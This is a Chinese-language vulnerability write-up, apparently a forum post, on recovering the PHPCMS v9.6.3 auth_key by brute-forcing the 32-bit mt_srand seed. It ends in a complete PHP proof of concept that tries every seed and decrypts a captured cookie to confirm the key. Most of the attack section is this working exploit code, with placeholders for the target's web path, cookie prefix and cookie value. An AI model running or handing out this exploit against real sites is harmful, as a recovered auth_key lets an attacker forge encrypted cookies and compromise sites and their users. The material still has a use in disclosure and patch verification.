产品描述
PHPCMS是一款网站管理软件。该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计、开发与维护。它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章、下载、图片、分类信息、影视、商城、采集、财务等众多功能的强大、易用、可扩展的优秀网站管理软件。 > PHPCMS v9.6.3 最终版停止维护
漏洞介绍
PHPCMS团队于v9.6.2-v9.6.3修复了随机数种子爆破问题,修复的方法是在每次随机数种子生成之前进行随机播种,但是默认情况下的php_mt_srand的种⼦类型是uint32_t,范围是2^32-1,数量并不太大,我们如果能在本地遍历一遍,并不需要多少时间。也就是说,PHPCMS这里的修复方式,通过调用多次mt_srand()实现重置种子是不安全的。php默认生成的种子范围是2^32-1,我们本地机器爆破依然是可以出来的,最终也是可以拿到正确的auth_key
漏洞复现
对比一下9.6.1和9.6.3 PHPCMS对于auth_key生成的区别,就是对每一次生成随机数之前进行一次播种
但是php mt_srand()生成的种子范围是在2^32-1,数量不是很大,导致我们本地可以爆破,我们只需要找到一个PHPCMS内部使用这个auth_key进行计算,且计算结果可以被我们获取到的点,而auth_key作为phpcms的加密key,最常见的例子就是用来加密Cookie了。我们直接拿phpcms的set_cookie里的sys_auth函数用作本地加解密,再去用mt_srand函数去爆破随机数种子,最终用sys_auth去解密,拿到的值如果等于用户名,则当前的auth_key是正确的
最终POC
关键解密代码都已加了注释
<?php
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
function random($length, $chars = '0123456789', $seed) {
$hash = '';
$max = strlen($chars) - 1;
mt_srand($seed); //手动循环写入种子
for($i = 0; $i < $length; $i++) {
$hash .= $chars[mt_rand(0, $max)];
}
return $hash;
}
for($i=0;$i<=4294967296;$i++){
echo "Testing seed {$i}\n";
$auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVW
XYZ', $i);
$path = '/Applications/MxSrvs/www/phpcms/phpcms/'; //ᬯ᯾这里修改成你的WEB路径
$cookie_pre = 'xHifh_'; //ᬯ᯾这里修改成你的cookie前缀
$auth_key = md5("{$path}cookie{$cookie_pre}mood_id").$auth_key; //拼接解密的auth_key参数
$value = "0238AC7xVcVtt9GZ22E1Aa712t8TuE5vDem01hDunnsjC1z1"; //ᬯ᯾这里修改成你获取到的cookie
$result = sys_auth($value, 'DECODE', $auth_key); //用auth_key和cookie去解密
if(strstr($result,'xiaoze')){ //如果解密之后的值等于xiaoze 则auth key 正确
echo "seed: {$i}\n";
echo "auth_key: ".random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLM
NOPQRSTUVWXYZ',$i)."\n"; //打印auth_key
break;
}
}
请登录后查看回复内容